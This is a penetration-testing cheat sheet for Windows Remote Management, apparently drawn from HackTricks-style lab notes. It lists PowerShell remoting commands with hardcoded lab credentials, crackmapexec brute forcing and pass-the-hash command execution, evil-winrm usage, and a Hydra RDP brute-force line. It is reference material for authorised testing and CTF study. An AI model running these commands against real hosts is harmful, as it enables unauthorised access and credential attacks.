#If you need to use different creds$password=ConvertTo-SecureString'Stud41Password@123'-Asplaintext -force## Note the ".\" in the suername to indicate it's a local user (host domain)$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)# EnterEnter-PSSession-ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credentialusername]## Bypass proxyEnter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess## Background current PS sessionExit-PSSession# This will leave it in background if it's inside an env var (New-PSSession...)
#If you need to use different creds$password=ConvertTo-SecureString'Stud41Password@123'-Asplaintext -force## Note the ".\" in the suername to indicate it's a local user (host domain)$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)#You can save a session inside a variable$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doingEnter-PSSession-Session $sess1
enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.
#Brute forcecrackmapexec winrm <IP>-d <DomainName>-u usernames.txt -p passwords.txt#Just check a pair of credentials# Username + Password + CMD command executioncrackmapexec winrm <IP>-d <DomainName>-u <username>-p<password>-x "whoami"# Username + Hash + PS command executioncrackmapexec winrm <IP>-d <DomainName>-u <username>-H<HASH>-X'$PSVersionTable'#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}